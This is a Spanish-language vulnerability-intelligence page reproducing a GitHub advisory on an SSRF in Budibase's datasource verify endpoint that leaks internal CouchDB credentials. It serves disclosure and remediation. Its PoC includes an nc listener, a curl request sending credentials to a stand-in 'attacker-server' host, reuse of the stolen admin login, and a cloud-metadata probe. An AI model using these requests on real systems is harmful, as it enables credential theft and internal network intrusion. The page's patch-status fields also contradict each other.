llamaCVEVulnerability Intelligence
/
Advisory · GitHub · npm · @budibase/server

GHSA-83M5-FVMG-R7XV

SSRF with Internal CouchDB Credential Leakage via Datasource Verify Endpoint

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
7.6
Alta
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición97 dDesde la divulgación, 14 ago 2026, 3:57 a. m.
Detección96 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
14 ago 26
18 nov 26
19 nov 26
14 ago 26
7 sept 26
1 oct 26
26 oct 26
19 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-83M5-FVMG-R7XV divulgada · CVSS 7.6 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The datasource verify endpoint (`POST /api/datasources/verify`) allows a builder-level user to supply an arbitrary URL as a CouchDB datasource configuration. The CouchDB connector makes HTTP requests to this URL without any SSRF blacklist validation, and critically, attaches the internal CouchDB database credentials (from `COUCH_DB_USERNAME`/`COUCH_DB_PASSWORD` environment variables) as a `Basic` Authorization header to the attacker-controlled URL.

Details

The vulnerability exists because:

  1. The REST connector checks `blacklist.isBlacklisted(url)` at `packages/server/src/integrations/rest.ts:754` before making outbound requests, but no other HTTP-based connector performs this check.
  1. When a user submits a CouchDB datasource config with an arbitrary `url`, the code path is:
  2. `packages/server/src/api/controllers/datasource.ts:57` reads `ctx.request.body.datasource`
  3. `packages/server/src/sdk/workspace/datasources/plus.ts:85` passes `datasource.config` to the CouchDB connector constructor
  4. `packages/server/src/integrations/couchdb.ts:81` calls `DatabaseWithConnection(config.database, config.url)` with the attacker-supplied URL
  1. `DatabaseWithConnection` calls `getCouchInfo(connection)` at `packages/backend-core/src/db/couch/DatabaseImpl.ts:108`, which in `packages/backend-core/src/db/couch/connections.ts:3-46`:
  2. Parses the attacker URL (no inline credentials found)
  3. Falls back to `env.COUCH_DB_USERNAME` and `env.COUCH_DB_PASSWORD` (lines 11-22)
  4. Constructs `Basic ${Buffer.from(username:password).toString("base64")}` (line 26)
  1. `buildNano()` at `packages/backend-core/src/db/couch/DatabaseImpl.ts:32-41` creates a Nano client configured with:
  1. `testConnection()` at `packages/server/src/integrations/couchdb.ts:84-95` calls `allDocs({limit: 1})`, which makes an HTTP GET to `{attacker_url}/{database}/_all_docs?limit=1` with the internal CouchDB credentials in the Authorization header.

The same SSRF (without credential leakage) applies to the Elasticsearch connector at `packages/server/src/integrations/elasticsearch.ts:106-133`, which passes `config.url` directly as the `node` parameter to the Elasticsearch client.

The `/api/datasources/info`, `/api/datasources/views`, and `/api/datasources/relationships` endpoints on the `builderRoutes` group are also affected as they follow the same `getConnector()` path.

PoC

Step 1: Set up a listener to capture leaked credentials

# On attacker-controlled server
nc -lvp 8888

Step 2: Send verify request with attacker-controlled URL

curl -X POST http://localhost:10000/api/datasources/verify \
  -H 'Content-Type: application/json' \
  -H 'Cookie: budibase:auth=<builder_jwt>' \
  -d '{
    "datasource": {
      "source": "COUCHDB",
      "config": {
        "url": "http://attacker-server:8888",
        "database": "test"
      }
    }
  }'

Step 3: Observe leaked credentials on the attacker server

GET /test/_all_docs?limit=1 HTTP/1.1
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Host: attacker-server:8888

The Base64 value decodes to the internal CouchDB `username:password`.

Step 4: Use leaked credentials to access internal CouchDB

# Decode credentials
echo 'YWRtaW46cGFzc3dvcmQ=' | base64 -d
# Output: admin:password

# Access internal CouchDB with stolen credentials
curl http://admin:password@<internal-couchdb-host>:4005/_all_dbs

For SSRF scanning (Elasticsearch variant, no credential leak):

curl -X POST http://localhost:10000/api/datasources/verify \
  -H 'Content-Type: application/json' \
  -H 'Cookie: budibase:auth=<builder_jwt>' \
  -d '{
    "datasource": {
      "source": "ELASTICSEARCH",
      "config": {
        "url": "http://169.254.169.254/latest/meta-data/"
      }
    }
  }'

The response's `error` field leaks information about internal service availability and responses.

Impact

  1. Credential leakage: Internal CouchDB credentials (`COUCH_DB_USERNAME`/`COUCH_DB_PASSWORD`) are sent to attacker-controlled URLs. In cloud deployments, CouchDB holds all application data, user data, and metadata — leaked credentials give an attacker full database access.
  1. SSRF: A builder-level user can probe internal network services, cloud metadata endpoints (169.254.169.254), and other internal infrastructure. Error messages in the response reveal service existence and state.
  1. Scope change: The vulnerability in the Budibase server component leaks credentials for a separate component (CouchDB), crossing a security boundary. This is why `S:C` applies in the CVSS vector.
  1. Multiple affected endpoints: The verify, info, views, and relationships endpoints all use `getConnector()` without URL validation.

Recommended Fix

Apply the same blacklist check used by the REST connector to all HTTP-based connectors. The fix should be applied centrally in `getConnector()`:

// packages/server/src/sdk/workspace/datasources/plus.ts
import { blacklist } from "@budibase/backend-core"

const HTTP_URL_SOURCES = new Set([
  SourceName.COUCHDB,
  SourceName.ELASTICSEARCH,
  SourceName.ARANGODB,
])

export async function getConnector(
  datasource: Datasource
): Promise<IntegrationBase | DatasourcePlus> {
  // Validate URLs for HTTP-based connectors before connecting
  if (HTTP_URL_SOURCES.has(datasource.source) && datasource.config?.url) {
    if (await blacklist.isBlacklisted(datasource.config.url)) {
      throw new Error("URL is blocked or could not be resolved safely.")
    }
  }

  const Connector = await getIntegration(datasource.source)
  if (datasource._id) {
    datasource = await datasources.enrich(datasource)
  }
  return new Connector(datasource.config)
}

Additionally, the CouchDB connector should not fall back to internal CouchDB credentials when connecting to external user-supplied URLs. The `getCouchInfo()` function should be modified to skip environment variable credential fallback when a `connection` string is provided:

// packages/backend-core/src/db/couch/connections.ts
export const getCouchInfo = (connection?: string | null) => {
  const urlInfo = getUrlInfo(connection)
  let username
  let password

  if (urlInfo.auth?.username) {
    username = urlInfo.auth.username
  } else if (!connection && env.COUCH_DB_USERNAME) {
    // Only use env credentials for internal connections, not user-supplied URLs
    username = env.COUCH_DB_USERNAME
  } else if (!env.isTest() && !connection) {
    throw new Error("CouchDB username not set")
  }
  // Same pattern for password...
}

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:H
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:C
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:L
AltoBajoNinguno
DisponibilidadA:N
AltoBajoNinguno
Versiones

Rangos afectados

Afectada Corregida Última
@budibase/server< 3.41.3
3.38.1
3.41.3
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
npm@budibase/server
Sin parche — — 3.38.1 afectada
Versiones corregidas3.41.3
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/Budibase/budibase/security/advisories/GHSA-83m5-fvmg-r7xv

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.